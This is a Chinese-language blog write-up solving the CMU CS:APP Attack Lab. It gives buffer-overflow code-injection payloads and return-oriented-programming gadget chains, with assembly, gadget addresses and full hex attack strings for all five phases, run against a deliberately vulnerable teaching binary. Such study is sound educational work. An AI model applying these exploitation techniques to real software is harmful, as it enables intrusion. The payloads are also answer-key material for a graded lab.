CSAPP-Lab03 Attack Lab 記錄

Deconx發表於2022-03-12

紙上得來終覺淺,絕知此事要躬行

實驗概覽

Attack!成為一名黑客不正是我小時候的夢想嗎?這個實驗一定會很有趣。

CMU 對本實驗的官方說明文件:http://csapp.cs.cmu.edu/3e/attacklab.pdf,按照 CMU 的文件一步步往下走就可以了。

image-20220303225536519

Part 1: Code Injection Attacks

在第一部分中,我們要攻擊的是ctarget。利用緩衝區溢位,就是程式的棧中分配某個字元陣列來儲存一個字串,而我們輸入的字串可以包含一些可執行程式碼的位元組編碼或者一個指向攻擊程式碼的指標覆蓋返回地址。那麼就能直接實現直接攻擊或者在執行ret指令後跳轉到攻擊程式碼。

Phase 1

分析

首先給了test函式的C語言程式碼:

void test()
{
	int val;
    val = getbuf();
    printf("No exploit. Getbuf returned 0x%x\n", val);
}

這個函式呼叫了getbuf函式,題目要求我們通過程式碼注入的方式使getbuf執行結束後不返回到test函式中,而是返回到touch1函式。

touch1的C語言程式碼如下:

void touch1()
{
	vlevel = 1; /* Part of validation protocol */
	printf("Touch1!: You called touch1()\n");
	validate(1);
	exit(0);
}

反彙編test

Dump of assembler code for function test:
   0x0000000000401968 <+0>:     sub    $0x8,%rsp
   0x000000000040196c <+4>:     mov    $0x0,%eax
   0x0000000000401971 <+9>:     callq  0x4017a8 <getbuf>
   0x0000000000401976 <+14>:    mov    %eax,%edx
   0x0000000000401978 <+16>:    mov    $0x403188,%esi
   0x000000000040197d <+21>:    mov    $0x1,%edi
   0x0000000000401982 <+26>:    mov    $0x0,%eax
   0x0000000000401987 <+31>:    callq  0x400df0 <__printf_chk@plt>
   0x000000000040198c <+36>:    add    $0x8,%rsp
   0x0000000000401990 <+40>:    retq
End of assembler dump.

第2行分配棧幀,第4行呼叫getbuf函式

反彙編getbuf

Dump of assembler code for function getbuf:
   0x00000000004017a8 <+0>:     sub    $0x28,%rsp
   0x00000000004017ac <+4>:     mov    %rsp,%rdi
   0x00000000004017af <+7>:     callq  0x401a40 <Gets>
   0x00000000004017b4 <+12>:    mov    $0x1,%eax
   0x00000000004017b9 <+17>:    add    $0x28,%rsp
   0x00000000004017bd <+21>:    retq
End of assembler dump.

分配了40個位元組的棧幀,隨後將棧頂位置作為引數呼叫Gets函式,讀入字串。

此時,棧幀情況是這樣的:(以8個位元組為單位)

image-20220305095612188

查到touch1程式碼地址為:0x4017c0

由此就有了思路,我們只需要輸入41個字元,前40個位元組將getbuf的棧空間填滿,最後一個位元組將返回值覆蓋為0x4017c0touch1的地址,這樣,在getbuf執行retq指令後,程式就會跳轉執行touch1函式。

Solution

採用Write up推薦方法,建立一個txt文件儲存輸入。並按照HEX2RAW工具的說明,在每個位元組間用空格或回車隔開。

x86採用小端儲存,要注意輸入位元組的順序

我們的輸入為:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00

執行命令:

./hex2raw < ctarget01.txt | ./ctarget -q
  • ./hex2raw < ctarget01.txt是利用hex2raw工具將我們的輸入看作位元組級的十六進位制表示進行轉化,用來生成攻擊字串
  • |表示管道,將轉化後的輸入檔案作為ctarget的輸入引數
  • 由於執行程式會預設連線 CMU 的伺服器,-q表示取消這一連線

image-20220304093523423

攻擊成功!

Phase 2

分析

本題結構與上題相同,不同的是呼叫的touch2函式的內容:

void touch2(unsigned val)
{
	vlevel = 2; /* Part of validation protocol */
	if (val == cookie) {
		printf("Touch2!: You called touch2(0x%.8x)\n", val);
		validate(2);
	} else {
		printf("Misfire: You called touch2(0x%.8x)\n", val);
		fail(2);
		}
	exit(0);
}

不僅需要修改返回地址呼叫touch2函式,還需要把cookie作為引數傳進去。題目建議我們不使用jmpcall指令進行程式碼跳轉,也就是說,只能通過在棧中儲存目的碼的地址,然後以ret的形式進行跳轉。

我們先深入理解ret指令:

在CPU中有一個“PC”即程式暫存器,在 x86-64 中用%rip表示,它時刻指向將要執行的下一條指令在記憶體中的地址。而我們的ret指令就相當於:

pop %rip

即把棧中存放的地址彈出作為下一條指令的地址。

於是,利用pushret就能實現我們的指令轉移啦!

思路如下:

  • 首先,通過字串輸入把caller的棧中儲存的返回地址改為注入程式碼的存放地址

  • 然後,編寫程式碼。我們的程式碼應該完成哪些工作呢?

    • 檢視cookie值為0x59b997fa,先將第一個引數暫存器修改為該值
    • 在棧中壓入touch2程式碼地址
    • ret指令呼叫返回地址也就是touch2
  • 確定注入程式碼的地址。程式碼應該存在getbuf分配的棧中,地址為getbuf函式中的棧頂

注入程式碼

查到touch2程式碼地址為:0x4017c0,由上述思路,得程式碼如下:

movq    $0x59b997fa, %rdi
pushq   $0x4017ec
ret

利用gdbgetbuf分配棧幀後打斷點,檢視棧頂指標的位置

image-20220304175128141

0x5561dc78這就是我們應該修改的返回地址

棧幀講解

按照我們的思路,輸入字串後的棧幀應該是這樣的

image-20220305095954954

邏輯如下:

  • getbuf執行ret指令後,注入程式碼的地址從棧中彈出
  • 程式執行我們編寫的程式碼,當再次執行ret後,從棧中彈出的就是我們壓入的touch2函式的地址,成功跳轉

Solution

先將我們的彙編程式碼儲存到一個.s檔案中,接下來利用如下指令

gcc -c injectcode.s
objdump -d injectcode.o > injectcode.d

得到位元組級表示

Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 c7 c7 fa 97 b9 59    mov    $0x59b997fa,%rdi
   7:   68 ec 17 40 00          pushq  $0x4017ec
   c:   c3                      retq

將這段程式碼放到40個位元組中的開頭,程式碼地址放到末尾。於是就得到我們的輸入為:

48 c7 c7 fa 97 b9 59 68 
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00

image-20220304233752252

攻擊成功!

Phase 3

分析

本題與上題類似,不同點在於傳的引數是一個字串。先給出touch3的C語言程式碼

void touch3(char *sval)
{
	vlevel = 3; /* Part of validation protocol */
	if (hexmatch(cookie, sval)) {
		printf("Touch3!: You called touch3(\"%s\")\n", sval);
		validate(3);
	} else {
		printf("Misfire: You called touch3(\"%s\")\n", sval);
		fail(3);
	}
	exit(0);
}

touch3中呼叫了hexmatch,它的C語言程式碼為:

/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
	char cbuf[110];
    /* Make position of check string unpredictable */
	char *s = cbuf + random() % 100;
	sprintf(s, "%.8x", val);
	return strncmp(sval, s, 9) == 0;
}

也就是說,我們要把cookie轉換成對應的字串傳進去

注意第6行,s的位置是隨機的,我們寫在getbuf棧中的字串很有可能被覆蓋,一旦被覆蓋就無法正常比較。

因此,考慮把cookie的字串資料存在test的棧上,其它部分與上題相同,這裡不再重複思路。

注入程式碼

先查詢test棧頂指標的位置:

image-20220305094755965

0x5561dca8,這就是我們字串存放的位置,也是呼叫touch3應該傳入的引數,又touch3程式碼的地址為4018fa。從而得到程式碼:

movq    $0x5561dca8, %rdi
pushq   $0x4018fa
ret

位元組級表示為:

Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 c7 c7 a8 dc 61 55    mov    $0x5561dca8,%rdi
   7:   68 fa 18 40 00          pushq  $0x4018fa
   c:   c3                      retq

棧幀講解

我們期望的棧幀應該是這樣的:

image-20220305101326911

邏輯如下:

  • getbuf執行ret,從棧中彈出返回地址,跳轉到我們注入的程式碼
  • 程式碼執行,先將存在caller的棧中的字串傳給引數暫存器%rdi,再將touch3的地址壓入棧中
  • 程式碼執行ret,從棧中彈出touch3指令,成功跳轉

Solution

我們的cookie0x59b997fa作為字串轉換為ASCII為:35 39 62 39 39 37 66 61

注入程式碼段的地址與上題一樣,同樣為0x5561dc78

由於在test棧幀中多利用了一個位元組存放cookie,所以本題要輸入56個位元組。注入程式碼的位元組表示放在開頭,33-40個位元組放置注入程式碼的地址用來覆蓋返回地址,最後八個位元組存放cookie的ASCII 。於是得到如下輸入:

48 c7 c7 a8 dc 61 55 68 
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61

image-20220305102649568

攻擊成功!

Part 1就此完結啦!

Part 2: Return-Oriented Programming

在第二部分中,我們要攻擊的是rtarget,它的程式碼內容與第一部分基本相同,但是攻擊它卻比第一部分要難得多,主要是因為它採用了兩種策略來對抗緩衝區溢位攻擊

  • 棧隨機化。這段程式分配的棧的位置在每次執行時都是隨機的,這就使我們無法確定在哪裡插入程式碼
  • 限制可執行程式碼區域。它限制棧上存放的程式碼是不可執行的。

看到這裡,我不禁一頭霧水,這下子該怎麼攻擊啊?

慶幸的是,文件也提供了攻擊策略,即ROP:面向返回的程式設計,就是在已經存在的程式中找到特定的以ret結尾的指令序列為我們所用,稱這樣的程式碼段為gadget,把要用到部分的地址壓入棧中,每次ret後又會取出一個新的gadget,於是這樣就能形成一個程式鏈,實現我們的目的。我喜歡將這種攻擊方式稱作“就地取材,拼湊程式碼”

image-20220305141735521

同時,我們有如下指令編碼表:

image-20220305135105263

舉個例子:

rtarget有這樣一個函式:

void setval_210(unsigned *p)
{
    *p = 3347663060U;
}

它的彙編程式碼位元組級表示為:

0000000000400f15 <setval_210>:
	400f15: c7 07 d4 48 89 c7 	movl $0xc78948d4,(%rdi)
	400f1b: c3 					retq

查表可知,取其中一部分位元組序列 48 89 c7 就表示指令movq %rax, %rdi,這整句指令的地址為0x400f15,於是從0x400f18開始的程式碼就可以變成下面這樣:

movq %rax, %rdi
ret

這個小片段就可以作為一個gadget為我們所用。

其它一些我們可以利用的程式碼都在檔案farm.c中展示了出來

Phase 4

分析

本題的任務與Phase 2相同,都是要求返回到touch2函式,phase 2中用到的注入程式碼為:

movq    $0x59b997fa, %rdi
pushq   $0x4017ec
ret

我們根本不可能找到這種帶特定立即數的gadget,只能思考其他辦法。

首先,要做的是把 cookie 賦值給引數暫存器%rdi,考慮將 cookie 放在棧中,再用指令:

pop %rdi
ret

就能實現引數的賦值了,當ret後,從棧中取出來的程式地址再設定為touch2的地址就能成功解決本題

但是後來發現在farm中找不到這條指令的gadget,經過多次嘗試,只好用其他暫存器進行中轉,考慮用兩個gadget

popq %rax
ret
###############
movq %rax, %rdi
ret

棧幀講解

根據我們的思路,棧幀情況如下:

image-20220305153502546

邏輯如下:

  • getbuf執行ret,從棧中彈出返回地址,跳轉到我們的gardget01
  • gadget01執行,將cookie彈出,賦值給%rax,然後執行ret,繼續彈出返回地址,跳轉到gardget2
  • gardget2執行,將cookie值成功賦值給引數暫存器%rdi,然後執行ret,繼續彈出返回地址,跳轉到touch2

Solution

首要問題是找到我們需要的gadget

先用如下指令得到target的彙編程式碼及位元組級表示

objdump -d rtarget > rtarget.s

查表知,pop %rax58表示,於是查詢58

00000000004019a7 <addval_219>:
  4019a7:       8d 87 51 73 58 90       lea    -0x6fa78caf(%rdi),%eax
  4019ad:       c3                      retq                   retq

得到指令地址為0x4019ab

movq %rax, %rdi表示為48 89 c7,剛好能找到!其中 90 表示“空”,可以忽略

00000000004019c3 <setval_426>:
  4019c3:       c7 07 48 89 c7 90       movl   $0x90c78948,(%rdi)
  4019c9:       c3                      retq

得到指令地址為0x4019c5

根據上圖的棧幀,就能寫出我們的輸入序列:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
c5 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00

image-20220305161143538

攻擊成功!

Phase 5

先附上Write up中來自 CMU 官方的勸退:

Before you take on the Phase 5, pause to consider what you have accomplished so far. In Phases 2 and 3, you caused a program to execute machine code of your own design. If CTARGET had been a network server, you could have injected your own code into a distant machine. In Phase 4, you circumvented two of the main devices modern systems use to thwart buffer overflow attacks. Although you did not inject your own code, you were able inject a type of program that operates by stitching together sequences of existing code. You have also gotten 95/100 points for the lab. That’s a good score. If you have other pressing obligations consider stopping right now. Phase 5 requires you to do an ROP attack on RTARGET to invoke function touch3 with a pointer to a string representation of your cookie. That may not seem significantly more difficult than using an ROP attack to invoke touch2, except that we have made it so. Moreover, Phase 5 counts for only 5 points, which is not a true measure of the effort it will require. Think of it as more an extra credit problem for those who want to go beyond the normal expectations for the course.

現在是晚上 23:20,我本來已經頭昏眼花準備就寢明日再戰。但看到這段話,好傢伙,不僅沒把我勸退,還讓我的睏意一下子消失,精神振奮了起來。

長纓已在手,縛住蒼龍就在今日!

分析

本題的任務與Phase 3相同,都是要求返回到touch3函式

Phase 3中用到的注入程式碼為:

movq    $0x5561dca8, %rdi
pushq   $0x4018fa
ret

其中0x5561dca8是棧中cookie存放的地址。

而在本題中,棧的位置是隨機的,把cookie存放在棧中似乎不太現實,但是我們又不得不這樣做,那麼有什麼辦法呢?只能在程式碼中獲取%rsp的地址,然後根據偏移量來確定cookie的地址。想到這,思路就明晰了。

查表,movq %rsp, xxx表示為48 89 xx,查詢一下有沒有可用的gadget

0000000000401aab <setval_350>:
  401aab:       c7 07 48 89 e0 90       movl   $0x90e08948,(%rdi)
  401ab1:       c3                      retq

還真找到了,48 89 e0對應的彙編程式碼為

movq %rsp, %rax

地址為:0x401aad

根據提示,有一個gadget一定要用上

 00000000004019d6 <add_xy>:
   4019d6:       48 8d 04 37             lea    (%rdi,%rsi,1),%rax
   4019da:       c3                      retq

地址為:0x4019d6

通過合適的賦值,這段程式碼就能實現%rsp加上段內偏移地址來確定cookie的位置

剩下部分流程與Phase 3一致,大體思路如下:

  • 先取得棧頂指標的位置
  • 取出存在棧中得偏移量的值
  • 通過lea (%rdi,%rsi,1),%rax得到 cookie 的地址
  • 將 cookie 的地址傳給%rdi
  • 呼叫touch 3

由於gadget的限制,中間的細節需要很多嘗試,嘗試過程不再一一列舉了,我們直接給出程式碼

#地址:0x401aad
movq %rsp, %rax
ret

#地址:0x4019a2
movq %rax, %rdi
ret

#地址:0x4019cc
popq %rax
ret

#地址:0x4019dd
movl %eax, %edx
ret

#地址:0x401a70
movl %edx, %ecx
ret

#地址:0x401a13
movl %ecx, %esi
ret

#地址:0x4019d6
lea    (%rdi,%rsi,1),%rax
ret

#地址:0x4019a2
movq %rax, %rdi
ret

棧幀講解

為節省空間,每一行程式碼都省略了後面的ret

image-20220305192432219

邏輯在圖上標的很清楚,這裡就不再用文字寫啦!

要注意getbuf執行ret後相當於進行了一次pop操作,test的棧頂指標%rsp=%rsp+0x8,所以cookie相對於此時棧頂指標的偏移量是0x48而不是0x50

Solution

根據上圖的棧幀,寫出輸入序列:

00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 
ad 1a 40 00 00 00 00 00 
a2 19 40 00 00 00 00 00 
cc 19 40 00 00 00 00 00 
48 00 00 00 00 00 00 00 
dd 19 40 00 00 00 00 00 
70 1a 40 00 00 00 00 00 
13 1a 40 00 00 00 00 00 
d6 19 40 00 00 00 00 00 
a2 19 40 00 00 00 00 00 
fa 18 40 00 00 00 00 00 
35 39 62 39 39 37 66 61

image-20220305193301330

Pass! 攻擊成功!

總結

  • 本實驗涉及的內容在課本中只有短短几頁的篇幅,而實際操作中卻要考慮如此多的東西,確實是那句話“紙上得來終覺淺,絕知此事要躬行”。五個Phase的難度是層層遞進的,Part 1讓我對部分彙編指令以及棧的原理有了更深的領悟;Part 2可能就更加貼合實際工程專案了,我在這裡初步學習了“ROP”這一天才的攻擊技術,實現成功的攻擊需要對每一個位元組都能有足夠的敏感。同時,在我以後編寫的程式碼中,也應該注意到緩衝區溢位的問題
  • 本實驗耗時2天,約9小時

相關文章